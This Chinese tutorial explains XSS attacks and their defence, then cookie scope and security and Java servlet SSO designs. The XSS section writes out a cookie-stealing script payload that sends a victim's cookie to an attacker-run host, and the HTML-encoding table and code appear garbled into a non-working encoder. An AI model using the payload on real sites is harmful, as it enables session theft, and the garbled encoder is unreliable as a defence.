XSS跨站脚本攻击防御和Cookie,及SSO单点登录原理
XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。
XSS攻击
XSS攻击类似于SQL注入攻击,攻击之前,我们先找到一个存在XSS漏洞的网站,XSS漏洞分为两种,一种是DOM Based XSS漏洞,另一种是Stored XSS漏洞。理论上,所有可输入的地方没有对输入数据进行处理的话,都会存在XSS漏洞,漏洞的危害取决于攻击代码的威力,攻击代码也不局限于script。
DOM Based XSS
DOM Based XSS是一种基于网页DOM结构的攻击,该攻击特点是中招的人是少数人。
场景一:
当我登录a.com后,我发现它的页面某些内容是根据url中的一个叫content参数直接显示的,猜测它测页面处理可能是这样,其它语言类似:
<%@ page language="Java"contentType="text/html; charset=UTF-8"pageEncoding="UTF-8"%> <!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>XSS测试</title> </head> <body> 页面内容:<%=request.getParameter("content")%> </body> </html> |
我知道了Tom也注册了该网站,并且知道了他的邮箱(或者其它能接收信息的联系方式),我做一个超链接发给他,超链接地址为:http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>,当Tom点击这个链接的时候(假设他已经登录a.com),浏览器就会直接打开b.com,并且把Tom在a.com中的cookie信息发送到b.com,b.com是我搭建的网站,当我的网站接收到该信息时,我就盗取了Tom在a.com的cookie信息,cookie信息中可能存有登录密码,攻击成功!这个过程中,受害者只有Tom自己。那当我在浏览器输入a.com?content=<script>alert(“xss”)</script>,浏览器展示页面内容的过程中,就会执行我的脚本,页面输出xss字样,这是攻击了我自己,那我如何攻击别人并且获利呢?
Stored XSS
Stored XSS是存储式XSS漏洞,由于其攻击代码已经存储到服务器上或者数据库中,所以受害者是很多人。
场景二:
a.com可以发文章,我登录后在a.com中发布了一篇文章,文章中包含了恶意代码,<script>window.open(“www.b.com?param=”+document.cookie)</script>,保存文章。这时Tom和Jack看到了我发布的文章,当在查看我的文章时就都中招了,他们的cookie信息都发送到了我的服务器上,攻击成功!这个过程中,受害者是多个人。
Stored XSS漏洞危害性更大,危害面更广。
XSS防御
我们是在一个矛盾的世界中,有矛就有盾。只要我们的代码中不存在漏洞,攻击者就无从下手,我们要做一个没有缝的蛋。XSS防御有如下方式。
完善的过滤体系
永远不相信用户的输入。需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。
Html encode
假如某些情况下,我们不能对用户数据进行严格的过滤,那我们也需要对标签进行转换。
less-than character (<) |
< |
greater-than character (>) |
> |
ampersand character (&) |
& |
double-quote character (") |
" |
space character( ) |
|
Any ASCII code character whose code is greater-than or equal to 0x80 |
&#<number>, where <number> is the ASCII character value. |
比如用户输入:<script>window.location.href=”http://www.baidu.com”;</script>,保存后最终存储的会是:<script>window.location.href="http://www.baidu.com"</script>在展现时浏览器会对这些字符转换成文本内容显示,而不是一段可执行的代码。
其它
- 使用Apache的commons-lang.jar
StringEscapeUtils.escapeHtml(str);// 汉字会转换成对应的ASCII码,空格不转换
- 自己实现转换,只转换部分字符
private static String htmlEncode(char c) {
switch(c) {
case '&':
return"&";
case '<':
return"<";
case '>':
return">";
case '"':
return""";
case ' ':
return" ";
default:
return c +"";
}
}
/** 对传入的字符串str进行Html encode转换 */
public static String htmlEncode(String str) {
if(str ==null || str.trim().equals("")) return str;
StringBuilder encodeStrBuilder = new StringBuilder();
for (int i = 0, len = str.length(); i < len; i++) {
encodeStrBuilder.append(htmlEncode(str.charAt(i)));
}
return encodeStrBuilder.toString();
}
Cookie深度解析、
最近在公司做了Web端单点登录(SSO)功能,基于Cookie实现,做完之后感觉有必要总结一下,本文着重讲解Cookie,下文会说明单点登录的实现方案。
Cookie简介
众所周知,Web协议(也就是HTTP)是一个无状态的协议(HTTP1.0)。一个Web应用由很多个Web页面组成,每个页面都有唯一的URL来定义。用户在浏览器的地址栏输入页面的URL,浏览器就会向Web Server去发送请求。如下图,浏览器向Web服务器发送了两个请求,申请了两个页面。这两个页面的请求是分别使用了两个单独的HTTP连接。所谓无状态的协议也就是表现在这里,浏览器和Web服务器会在第一个请求完成以后关闭连接通道,在第二个请求的时候重新建立连接。Web服务器并不区分哪个请求来自哪个客户端,对所有的请求都一视同仁,都是单独的连接。这样的方式大大区别于传统的(Client/Server)C/S结构,在那样的应用中,客户端和服务器端会建立一个长时间的专用的连接通道。正是因为有了无状态的特性,每个连接资源能够很快被其他客户端所重用,一台Web服务器才能够同时服务于成千上万的客户端。
但是我们通常的应用是有状态的。先不用提不同应用之间的SSO,在同一个应用中也需要保存用户的登录身份信息。例如用户在访问页面1的时候进行了登录,但是刚才也提到,客户端的每个请求都是单独的连接,当客户再次访问页面2的时候,如何才能告诉Web服务器,客户刚才已经登录过了呢?浏览器和服务器之间有约定:通过使用cookie技术来维护应用的状态。Cookie是可以被Web服务器设置的字符串,并且可以保存在浏览器中。如下图所示,当浏览器访问了页面1时,web服务器设置了一个cookie,并将这个cookie和页面1一起返回给浏览器,浏览器接到cookie之后,就会保存起来,在它访问页面2的时候会把这个cookie也带上,Web服务器接到请求时也能读出cookie的值,根据cookie值的内容就可以判断和恢复一些用户的信息状态。
Cookie组成
cookie是由名称、内容、作用路径、作用域、协议、生存周期组成,另外还有个HttpOnly属性,HttpOnly属性很重要,如果您在cookie中设置了HttpOnly属性,那么通过js脚本(document.cookie)将无法读取到cookie信息,这样能一定程度上的防止XSS攻击,关于XSS可以看我之前的文章--XSS攻击及防御。Tomcat服务器设置的JSESSIONID就是HttpOnly的。
JavaEE中对cookie做了封装,对应的是下面这个类:
java.lang.Object|+--javax.servlet.http.Cookie
该类可以设置cookie的名称、内容、作用路径、作用域、协议、生存周期,but不能设置HttpOnly属性,不知道这么做是出于什么考虑,如果非要设置HttpOnly的cookie,我们可以通过响应头来处理:
- response.setHeader("Set-Cookie", "cookiename=value;Path=/;Domain=domainvalue;Max-Age=seconds;HttpOnly");
Cookie作用域
测试Cookie的作用域需要弄几个域名,修改C:\Windows\System32\drivers\etc\hosts文件,将本机ip映射出四个域名,如下:
- 127.0.0.1 web1.ghsau.com
- 127.0.0.1 web2.ghsau.com
- 127.0.0.1 web1.com
- 127.0.0.1 web2.com
前两个是2级域名(ghsau.com)相同,3级域名(web1、web2)不同,后两个是2级域名不同。然后我们再写两个jsp,一个用于设置Cookie,另一个用于显示Cookie。
SetCookie.jsp:
- <%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8"%>
- <%
- Cookie cookie = new Cookie("test_key", "test_value");
- cookie.setPath("/");
- // cookie.setDomain(".ghsau.com");
- response.addCookie(cookie);
- %>
ShowCookie.jsp:
- <%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8"%>
- <%
- // 输出cookies,过滤掉JSESSIONID
- Cookie[] cookies = request.getCookies();
- if(cookies != null)
- for(Cookie cookie : cookies) {
- if(cookie.getName().equals("JSESSIONID")) continue;
- out.println(cookie.getName() + "-" + cookie.getValue());
- }
- %>
将这两个jsp放到应用后,部署到服务器中,启动服务器,我们就可以通过域名来访问了。
测试一,首先访问http://web1.ghsau.com:8080/WebSSOAuth/SetCookie.jsp,设置cookie后,再访问http://web1.ghsau.com:8080/WebSSOAuth/ShowCookie.jsp,页面输出test_key=test_value,这时我们访问http://web2.ghsau.com:8080/WebSSOAuth/ShowCookie.jsp,发现页面什么都没有输出,这时我们得出结论,cookie默认情况下作用域为当前域名。
测试二,将SetCookie.jsp第五行注释打开,按照上面的顺序依次访问,我们发现http://web2.ghsau.com:8080/WebSSOAuth/ShowCookie.jsp中输出了http://web1.ghsau.com:8080/WebSSOAuth/SetCookie.jsp中设置的cookie,这时我们得出结论,cookie作用域为父级域名时,所有子级域名都可以得到该cookie,这也是实现跨子域SSO的关键。这时有些朋友可能会想到那我把cookie作用域设置到顶级域名(.com、.net)上,是不是用该顶级域名的网站就都能获取该cookie了?这样设置的cookie,浏览器是不存储的,无效的cookie。
测试三,修改SetCookie.jsp第五行代码为cookie.setDomain(".web2.com"),首先访问http://web1.com:8080/WebSSOAuth/SetCookie.jsp,设置cookie后,这时我们访问http://web2.com:8080/WebSSOAuth/ShowCookie.jsp,发现页面什么都没有输出,这时我们得出结论,cookie不能跨二级域名设置。
Cookie安全性
cookie中的数据通常会包含用户的隐私数据,首先要保证数据的保密性,其次要保证数据不能被伪造或者篡改,基于这两点,我们通常需要对cookie内容进行加密,加密方式一般使用对称加密(单密钥,如DES)或非对称加密(一对密钥,如RSA),密钥需要保存在服务器端一个安全的地方,这样,别人不知道密钥时,无法对数据进行解密,也无法伪造或篡改数据。另外,像上文提到的,重要的cookie数据需要设置成HttpOnly的,避免跨站脚本获取你的cookie,保证了cookie在浏览器端的安全性。还有我们可以设置cookie只作用于安全的协议(https),JavaEE中可以通过Cookie类的setSecure(boolean flag)来设置,设置后,该cookie只会在https下发送,而不会再http下发送,保证了cookie在服务器端的安全性,服务器https的设置可以参照该文章。
共同父域名下的单点登录
单点登录(Single Sign On),简称为SSO,SSO不仅在企业级开发很常用,在互联网中更是大行其道。随便举几个例子,比如我们登录新浪微博后,再访问新浪首页后,我们发现,已经自动登录了;再比如我们登录CSDN后,可以写博客、逛论坛、下载资源等等。前者是完全跨域的单点登录,下文会讲,后者是共同父域下(www.csdn.net、blog.csdn.net、bbs.csdn.net、passport.csdn.net)的单点登录,也就是本文的主要内容。
单点登录实际上是“身份认证”的整合,当我们存在多个应用时,我们希望登录了其中的一个应用,再访问其他应用时,会自动登录,避免用户重复的体力劳动。单点登录的实现原理是比较简单的,如下图所示,当用户通过浏览器第一次访问应用系统1时,由于还没有登录,会被引导到认证系统进行登录。下面开始单点登录的过程:认证系统根据用户在浏览器中输入的登录信息,进行身份认证,如果认证通过,返回给浏览器一个证明ticket(票);用户再访问其它应用系统时,会带着ticket;应用系统接收到ticket后,会将其发送到认证系统进行合法性校验;校验通过后,用户就不需要再次输入用户名密码来登录了,从而实现了单点登录的功能。
上面描述的过程实际上是WEB-SSO。要实现SSO,首先必须要有统一的认证系统,其次每个应用系统都通过认证系统来校验用户,所以这需要两方面的配合。WEB-SSO是比较好实现的,尤其是共同父域的情况下,我们可以通过浏览器的cookie来保存ticket。今天我用Servlet技术实现了SSO的主要功能,可以在这里下载项目。
域名准备
修改hosts文件,映射3个域名:
- 127.0.0.1 web1.ghsau.com
- 127.0.0.1 web2.ghsau.com
- 127.0.0.1 passport.ghsau.com
3个域名必须拥有共同父域(.ghsau.com),web1和web2用于访问应用系统,passport用于访问认证系统。
项目部署
项目中包含的是两个Eclipse Project,导入到Eclipse/MyEclipse后,可能需要设置下JavaEE类库。WebSSOAuth为认证系统,WebSSODemo为应用系统,如果映射的域名和我设置的一样,不需要设置,直接部署即可。如果不一样,需要修改下两个项目的web.xml文件。关键配置信息如下:
WebSSOAuth/WEB-INF/web.xml:
- <servlet>
- <servlet-name>SSOAuth</servlet-name>
- <servlet-class>com.ghsau.servlet.SSOAuth</servlet-class>
- <init-param>
- <!-- ticket名称 -->
- <param-name>cookieName</param-name>
- <param-value>SSOID</param-value>
- </init-param>
- <init-param>
- <!-- ticket作用域 -->
- <param-name>domainName</param-name>
- <param-value>.ghsau.com</param-value>
- </init-param>
- <init-param>
- <param-name>secure</param-name>
- <param-value>false</param-value>
- </init-param>
- <init-param>
- <!-- ticket内容加密密钥,必须为24个字符,中文算2个字符 -->
- <param-name>secretKey</param-name>
- <param-value>111111112222222233333333</param-value>
- </init-param>
- <init-param>
- <!-- 服务器中ticket的有效期,单位分钟 -->
- <param-name>ticketTimeout</param-name>
- <param-value>10080</param-value>
- </init-param>
- </servlet>
- <servlet-mapping>
- <servlet-name>SSOAuth</servlet-name>
- <url-pattern>/SSOAuth</url-pattern>
- </servlet-mapping>
WebSSODemo/WEB-INF/web.xml:
- <filter>
- <filter-name>SSOAuth</filter-name>
- <filter-class>com.ghsau.filter.SSOAuth</filter-class>
- <init-param>
- <!-- 认证系统服务 -->
- <param-name>SSOService</param-name>
- <param-value>http://passport.ghsau.com:8080/WebSSOAuth/SSOAuth</param-value>
- </init-param>
- <init-param>
- <!-- 认证系统登录页面 -->
- <param-name>SSOLogin</param-name>
- <param-value>http://passport.ghsau.com:8080/WebSSOAuth/login.jsp</param-value>
- </init-param>
- <init-param>
- <!-- 认证系统ticket名称 -->
- <param-name>cookieName</param-name>
- <param-value>SSOID</param-value>
- </init-param>
- </filter>
- <filter-mapping>
- <filter-name>SSOAuth</filter-name>
- <url-pattern>*.jsp</url-pattern>
- </filter-mapping>
- <filter-mapping>
- <filter-name>SSOAuth</filter-name>
- <url-pattern>/logout</url-pattern>
- </filter-mapping>
如果域名或端口号和我的不一致,可以修改对应配置项。最后部署到应用服务器中,启动服务器。
SSO使用
首先输入第一个应用系统的访问地址,http://web1.ghsau.com:8080/WebSSODemo/index.jsp,如果是第一次访问的话,会自动跳转到登录页,如下图:
系统中内置了3个用户,张三、李四、王五,用户名和密码皆为拼音全拼,输入zhangsan/zhangsan登录后,会自动跳转到我们刚才访问的页面,页面中显示了登录的用户名及欢迎信息,如下图:
这时,我们再输入第二个应用系统的访问地址,http://web2.ghsau.com:8080/WebSSODemo/index.jsp,我们发现,没有进行第二次登录,同样页面中显示了登录的用户名及欢迎信息,如下图:
我们接着点击Logout注销用户,页面跳转到了登录页面,这时我们再回头访问第一个应用系统的页面,发现同样跳转到了登录页面。这给用户的使用效果就是,一个应用登录了,其它的应用都会自动登录,而一个应用中注销了,其它的应用也都会自动注销,好神奇的样子。
项目中提供了源码,代码的实现思路就是上面的那个图,ticket保存在cookie中,利用cookie域的特性,实现了ticket在不同应用中都能够获取到,ticket的验证过程是使用了HttpClient来发送的验证请求,ticket的加密使用了3DES,具体可以看DESUtils.Java,好了,就到这里吧
完全跨域名的单点登录
完全跨域的单点登录实现方案基本和上篇文章介绍的一样,只不过生成ticket的过程更复杂些。上篇文章中的项目是不能完全跨域的,由于多个应用系统以及认证系统域不同,也没有共同的父域,导致登录后,认证系统向浏览器写的ticket在其它应用系统中获取不到,这时访问其它应用系统时,没有携带着ticket的cookie,无法认证也无法单点登录。那解决的方案是每个应用系统都向浏览器cookie中写入ticket,请看下图,图中浅蓝色圆角区域代表不同的域,当用户通过浏览器第一次访问应用系统1时,由于还没有登录,会被引导到认证系统进行登录。下面开始单点登录的过程:认证系统根据用户在浏览器中输入的登录信息,进行身份认证,如果认证通过,返回给浏览器一个证明[认证系统_ticket];这时再通过浏览器将[认证系统_ticket]发送到到应用系统1的设置cookie的url,应用系统1返回给浏览器一个证明[应用系统1_ticket],这时再将请求重定向到最初访问的页面,以后应用系统1就可以自动登录了。现在用户访问了应用系统2,由于应用系统2没有生成过cookie(但是用户已经在应用系统1登录过一次了),将请求重定向到认证系统;认证系统检测到已经生成过[认证系统_ticket]了,认证通过;再通过浏览器将[认证系统_ticket]发送到到应用系统2的设置cookie的url,应用系统2返回给浏览器一个证明[应用系统2_ticket],这时再将请求重定向到最初访问的页面。应用系统3也同样原理,我们等于将ticket做了一次同步,保证了每个应用系统都有一份认证系统产生的ticket。剩余的ticket验证过程和上篇文章一样了。
ticket同步的过程用jsonp应该也可以实现,我基于上篇文章中的项目实现了完全跨域的单点登录,可以在这里下载项目。
域名准备
修改hosts文件,映射3个域名:
- 127.0.0.1 web1.com
- 127.0.0.1 web2.com
- 127.0.0.1 passport.com
三个域名都是独立的,没有共同父域,web1和web2用于访问应用系统,passport用于访问认证系统。
项目部署
项目中包含的是两个Eclipse Project,导入到Eclipse/MyEclipse后,可能需要设置下JavaEE类库。WebSSOAuth为认证系统,WebSSODemo为应用系统,如果映射的域名和我设置的一样,不需要设置,直接部署即可。如果不一样,需要修改下WebSSODemo/WEB-INF/web.xml文件。关键配置信息如下:
- <filter>
- <filter-name>SSOAuth</filter-name>
- <filter-class>com.ghsau.filter.SSOAuth</filter-class>
- <init-param>
- <!-- 认证系统服务 -->
- <param-name>SSOService</param-name>
- <param-value>http://passport.com:8080/WebSSOAuth/SSOAuth</param-value>
- </init-param>
- <init-param>
- <!-- 认证系统ticket名称 -->
- <param-name>cookieName</param-name>
- <param-value>SSOID</param-value>
- </init-param>
- </filter>
- <filter-mapping>
- <filter-name>SSOAuth</filter-name>
- <url-pattern>*.jsp</url-pattern>
- </filter-mapping>
- <filter-mapping>
- <filter-name>SSOAuth</filter-name>
- <url-pattern>/logout</url-pattern>
- </filter-mapping>
- <filter-mapping>
- <filter-name>SSOAuth</filter-name>
- <url-pattern>/setCookie</url-pattern>
- </filter-mapping>
如果域名或端口号和我的不一致,可以修改对应配置项。最后部署到应用服务器中,启动服务器。
SSO使用
首先输入第一个应用系统的访问地址,http://web1.com:8080/WebSSODemo/index.jsp,如果是第一次访问的话,会自动跳转到登录页,如下图:
系统中内置了3个用户,张三、李四、王五,用户名和密码皆为拼音全拼,输入zhangsan/zhangsan登录后,会自动跳转到我们刚才访问的页面,页面中显示了登录的用户名及欢迎信息,如下图:
这时,我们再输入第二个应用系统的访问地址,http://web2.com:8080/WebSSODemo/index.jsp,我们发现,没有进行第二次登录,同样页面中显示了登录的用户名及欢迎信息,如下图:
我们接着点击Logout注销用户,页面跳转到了登录页面,这时我们再回头访问第一个应用系统的页面,发现同样跳转到了登录页面。
互联网中的完全跨域登录的站点也有很多,如淘宝和天猫,但肯定不是我这样实现的。我的实现中,认证系统和应用系统是通过url参数来传递ticket,可能存在一些不稳定因素。应用系统的每次请求都会通过HTTP远程到认证系统进行验证ticket,速度上应该会慢一些,这里可以改进一步,在每个应用系统中也维护一份tickets,验证时,首先到本系统中验证,如果不存在,再远程到认证系统进行验证,但这也增加了应用系统的代码量
单点登录的原理
- 用户每天平均 16 分钟花在身份验证任务上 - 资料来源: IDS
- 频繁的 IT 用户平均有 21 个密码 - 资料来源: NTA Monitor Password Survey
- 49% 的人写下了其密码,而 67% 的人很少改变它们
- 每 79 秒出现一起身份被窃事件 - 资料来源:National Small Business Travel Assoc
- 全球欺骗损失每年约 12B - 资料来源:Comm Fraud Control Assoc
- 到 2007 年,身份管理市场将成倍增长至 $4.5B - 资料来源:IDS
- 提高 IT 效率:对于每 1000 个受管用户,每用户可节省$70K
- 帮助台呼叫减少至少1/3,对于 10K 员工的公司,每年可以节省每用户 $75,或者合计 $648K
- 生产力提高:每个新员工可节省 $1K,每个老员工可节省 $350 �资料来源:Giga
- ROI 回报:7.5 到 13 个月 �资料来源:Gartner
- 所有应用系统共享一个身份认证系统。
统一的认证系统是SSO的前提之一。认证系统的主要功能是将用户的登录信息和用户信息库相比较,对用户进行登录认证;认证成功后,认证系统应该生成统一的认证标志(ticket),返还给用户。另外,认证系统还应该对ticket进行效验,判断其有效性。 - 所有应用系统能够识别和提取ticket信息
要实现SSO的功能,让用户只登录一次,就必须让应用系统能够识别已经登录过的用户。应用系统应该能对ticket进行识别和提取,通过与认证系统的通讯,能自动判断当前用户是否登录过,从而完成单点登录的功能。
- 单一的用户信息数据库并不是必须的,有许多系统不能将所有的用户信息都集中存储,应该允许用户信息放置在不同的存储中,如下图所示。事实上,只要统一认证系统,统一ticket的产生和效验,无论用户信息存储在什么地方,都能实现单点登录。
- 统一的认证系统并不是说只有单个的认证服务器,如下图所示,整个系统可以存在两个以上的认证服务器,这些服务器甚至可以是不同的产品。认证服务器之间要通过标准的通讯协议,互相交换认证信息,就能完成更高级别的单点登录。如下图,当用户在访问应用系统1时,由第一个认证服务器进行认证后,得到由此服务器产生的ticket。当他访问应用系统4的时候,认证服务器2能够识别此ticket是由第一个服务器产生的,通过认证服务器之间标准的通讯协议(例如SAML)来交换认证信息,仍然能够完成SSO的功能。
- 统一的身份认证服务。
- 修改Web应用,使得每个应用都通过这个统一的认证服务来进行身份效验。
- Web-SSO的样例是由三个标准Web应用组成,压缩成三个zip文件,从http://gceclub.sun.com.cn/wangyu/web-sso/中下载。其中SSOAuth(http://gceclub.sun.com.cn/wangyu/web-sso/SSOAuth.zip)是身份认证服务;SSOWebDemo1(http://gceclub.sun.com.cn/wangyu/web-sso/SSOWebDemo1.zip)和SSOWebDemo2(http://gceclub.sun.com.cn/wangyu/web-sso/SSOWebDemo2.zip)是两个用来演示单点登录的Web应用。这三个Web应用之所以没有打成war包,是因为它们不能直接部署,根据读者的部署环境需要作出小小的修改。样例部署和运行的环境有一定的要求,需要符合Servlet2.3以上标准的J2EE容器才能运行(例如Tomcat5,Sun Application Server 8, Jboss 4等)。另外,身份认证服务需要JDK1.5的运行环境。之所以要用JDK1.5是因为笔者使用了一个线程安全的高性能的Java集合类“ConcurrentMap”,只有在JDK1.5中才有。
- 这三个Web应用完全可以单独部署,它们可以分别部署在不同的机器,不同的操作系统和不同的J2EE的产品上,它们完全是标准的和平台无关的应用。但是有一个限制,那两台部署应用(demo1、demo2)的机器的域名需要相同,这在后面的章节中会解释到cookie和domain的关系以及如何制作跨域的WEB-SSO
- 解压缩SSOAuth.zip文件,在/WEB-INF/下的web.xml中请修改“domainname”的属性以反映实际的应用部署情况,domainname需要设置为两个单点登录的应用(demo1和demo2)所属的域名。这个domainname和当前SSOAuth服务部署的机器的域名没有关系。我缺省设置的是“.sun.com”。如果你部署demo1和demo2的机器没有域名,请输入IP地址或主机名(如localhost),但是如果使用IP地址或主机名也就意味着demo1和demo2需要部署到一台机器上了。设置完后,根据你所选择的J2EE容器,可能需要将SSOAuth这个目录压缩打包成war文件。用“jar -cvf SSOAuth.war SSOAuth/”就可以完成这个功能。
- 解压缩SSOWebDemo1和SSOWebDemo2文件,分别在它们/WEB-INF/下找到web.xml文件,请修改其中的几个初始化参数
<init-param>
<param-name>SSOServiceURL</param-name>
<param-value>http://wangyu.prc.sun.com:8080/SSOAuth/SSOAuth</param-value>
</init-param>
<init-param>
<param-name>SSOLoginPage</param-name>
<param-value>http://wangyu.prc.sun.com:8080/SSOAuth/login.jsp</param-value>
</init-param>
将其中的SSOServiceURL和SSOLoginPage修改成部署SSOAuth应用的机器名、端口号以及根路径(缺省是SSOAuth)以反映实际的部署情况。设置完后,根据你所选择的J2EE容器,可能需要将SSOWebDemo1和SSOWebDemo2这两个目录压缩打包成两个war文件。用“jar -cvf SSOWebDemo1.war SSOWebDemo1/”就可以完成这个功能。 - 请输入第一个web应用的测试URL(test.jsp),例如http://wangyu.prc.sun.com:8080/ SSOWebDemo1/test.jsp,如果是第一次访问,便会自动跳转到登录界面,如下图
- 使用系统自带的三个帐号之一登录(例如,用户名:wangyu,密码:wangyu),便能成功的看到test.jsp的内容:显示当前用户名和欢迎信息。
- 请接着在同一个浏览器中输入第二个web应用的测试URL(test.jsp),例如http://wangyu.prc.sun.com:8080/ SSOWebDemo2/test.jsp。你会发现,不需要再次登录就能看到test.jsp的内容,同样是显示当前用户名和欢迎信息,而且欢迎信息中明确的显示当前的应用名称(demo2)。
package DesktopSSO;
import java.io.*;
import java.net.*;
import java.text.*;
import java.util.*;
import java.util.concurrent.*;
import javax.servlet.*;
import javax.servlet.http.*;
public class SSOAuth extends HttpServlet {
static private ConcurrentMap accounts;
static private ConcurrentMap SSOIDs;
String cookiename="WangYuDesktopSSOID";
String domainname;
public void init(ServletConfig config) throws ServletException {
super.init(config);
domainname= config.getInitParameter("domainname");
cookiename = config.getInitParameter("cookiename");
SSOIDs = new ConcurrentHashMap();
accounts=new ConcurrentHashMap();
accounts.put("wangyu", "wangyu");
accounts.put("paul", "paul");
accounts.put("carol", "carol");
}
protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
PrintWriter out = response.getWriter();
String action = request.getParameter("action");
String result="failed";
if (action==null) {
handlerFromLogin(request,response);
} else if (action.equals("authcookie")){
String myCookie = request.getParameter("cookiename");
if (myCookie != null) result = authCookie(myCookie);
out.print(result);
out.close();
} else if (action.equals("authuser")) {
result=authNameAndPasswd(request,response);
out.print(result);
out.close();
} else if (action.equals("logout")) {
String myCookie = request.getParameter("cookiename");
logout(myCookie);
out.close();
}
}
.....
}
|
- 如果用户还没有登录过,是第一次登录本系统,会被跳转到login.jsp页面(在后面会解释如何跳转)。用户在提供了用户名和密码以后,就会用handlerFromLogin()这个方法来验证。
- 如果用户已经登录过本系统,再访问别的应用的时候,是不需要再次登录的。因为浏览器会将第一次登录时产生的cookie和请求一起发送。效验cookie的有效性是SSOAuth的主要功能之一。
- SSOAuth还能直接效验非login.jsp页面过来的用户名和密码的效验请求。这个功能是用于非web应用的SSO,这在后面的桌面SSO中会用到。
- SSOAuth还提供logout服务。
private void handlerFromLogin(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String username = request.getParameter("username");
String password = request.getParameter("password");
String pass = (String)accounts.get(username);
if ((pass==null)||(!pass.equals(password)))
getServletContext().getRequestDispatcher("/failed.html").forward(request, response);
else {
String gotoURL = request.getParameter("goto");
String newID = createUID();
SSOIDs.put(newID, username);
Cookie wangyu = new Cookie(cookiename, newID);
wangyu.setDomain(domainname);
wangyu.setMaxAge(60000);
wangyu.setValue(newID);
wangyu.setPath("/");
response.addCookie(wangyu);
System.out.println("login success, goto back url:" + gotoURL);
if (gotoURL != null) {
PrintWriter out = response.getWriter();
response.sendRedirect(gotoURL);
out.close();
}
}
}
|
- Web应用中每一个需要安全保护的URL在访问以前,都需要进行安全检查,如果发现没有登录(没有发现认证之后所带的cookie),就重新定向到SSOAuth中的login.jsp进行登录。
- 登录成功后,系统会自动给你的浏览器设置cookie,证明你已经登录过了。
- 当你再访问这个应用的需要保护的URL的时候,系统还是要进行安全检查的,但是这次系统能够发现相应的cookie。
- 有了这个cookie,还不能证明你就一定有权限访问。因为有可能你已经logout,或者cookie已经过期了,或者身份认证服务重起过,这些情况下,你的cookie都可能无效。应用系统拿到这个cookie,还需要调用身份认证的服务,来判断cookie时候真的有效,以及当前的cookie对应的用户是谁。
- 如果cookie效验成功,就允许用户访问当前请求的资源。
- 在每个被访问的资源中(JSP或Servlet)中都加入身份认证的服务,来获得cookie,并且判断当前用户是否登录过。不过这个笨方法没有人会用:-)。
- 可以通过一个controller,将所有的功能都写到一个servlet中,然后在URL映射的时候,映射到所有需要保护的URL集合中(例如*.jsp,/security/*等)。这个方法可以使用,不过,它的缺点是不能重用。在每个应用中都要部署一个相同的servlet。
- Filter是比较好的方法。符合Servlet2.3以上的J2EE容器就具有部署filter的功能。(Filter的使用可以参考JavaWolrd的文章http://www.javaworld.com/javaworld/jw-06-2001/jw-0622-filters.html)Filter是一个具有很好的模块化,可重用的编程API,用在SSO正合适不过。本样例就是使用一个filter来完成以上的功能。
package SSO;
import java.io.*;
import java.net.*;
import java.util.*;
import java.text.*;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.*;
import org.apache.commons.httpclient.*;
import org.apache.commons.httpclient.methods.GetMethod;
public class SSOFilter implements Filter {
private FilterConfig filterConfig = null;
private String cookieName="WangYuDesktopSSOID";
private String SSOServiceURL= "http://wangyu.prc.sun.com:8080/SSOAuth/SSOAuth";
private String SSOLoginPage= "http://wangyu.prc.sun.com:8080/SSOAuth/login.jsp";
public void init(FilterConfig filterConfig) {
this.filterConfig = filterConfig;
if (filterConfig != null) {
if (debug) {
log("SSOFilter:Initializing filter");
}
}
cookieName = filterConfig.getInitParameter("cookieName");
SSOServiceURL = filterConfig.getInitParameter("SSOServiceURL");
SSOLoginPage = filterConfig.getInitParameter("SSOLoginPage");
}
.....
.....
}
|
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
if (debug) log("SSOFilter:doFilter()");
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) res;
String result="failed";
String url = request.getRequestURL().toString();
String qstring = request.getQueryString();
if (qstring == null) qstring ="";
//检查http请求的head是否有需要的cookie
String cookieValue ="";
javax.servlet.http.Cookie[] diskCookies = request.getCookies();
if (diskCookies != null) {
for (int i = 0; i < diskCookies.length; i++) {
if(diskCookies[i].getName().equals(cookieName)){
cookieValue = diskCookies[i].getValue();
//如果找到了相应的cookie则效验其有效性
result = SSOService(cookieValue);
if (debug) log("found cookies!");
}
}
}
if (result.equals("failed")) { //效验失败或没有找到cookie,则需要登录
response.sendRedirect(SSOLoginPage+"?goto="+url);
} else if (qstring.indexOf("logout") > 1) {//logout服务
if (debug) log("logout action!");
logoutService(cookieValue);
response.sendRedirect(SSOLoginPage+"?goto="+url);
} else {//效验成功
request.setAttribute("SSOUser",result);
Throwable problem = null;
try {
chain.doFilter(req, res);
} catch(Throwable t) {
problem = t;
t.printStackTrace();
}
if (problem != null) {
if (problem instanceof ServletException) throw (ServletException)problem;
if (problem instanceof IOException) throw (IOException)problem;
sendProcessingError(problem, res);
}
}
}
|
<filter-name>SSOFilter</filter-name>
<url-pattern>*.jsp</url-pattern>
</filter-mapping>
private String SSOService(String cookievalue) throws IOException {
String authAction = "?action=authcookie&cookiename=";
HttpClient httpclient = new HttpClient();
GetMethod httpget = new GetMethod(SSOServiceURL+authAction+cookievalue);
try {
httpclient.executeMethod(httpget);
String result = httpget.getResponseBodyAsString();
return result;
} finally {
httpget.releaseConnection();
}
}
private void logoutService(String cookievalue) throws IOException {
String authAction = "?action=logout&cookiename=";
HttpClient httpclient = new HttpClient();
GetMethod httpget = new GetMethod(SSOServiceURL+authAction+cookievalue);
try {
httpclient.executeMethod(httpget);
httpget.getResponseBodyAsString();
} finally {
httpget.releaseConnection();
}
}
|
- cookie的长度和复杂度
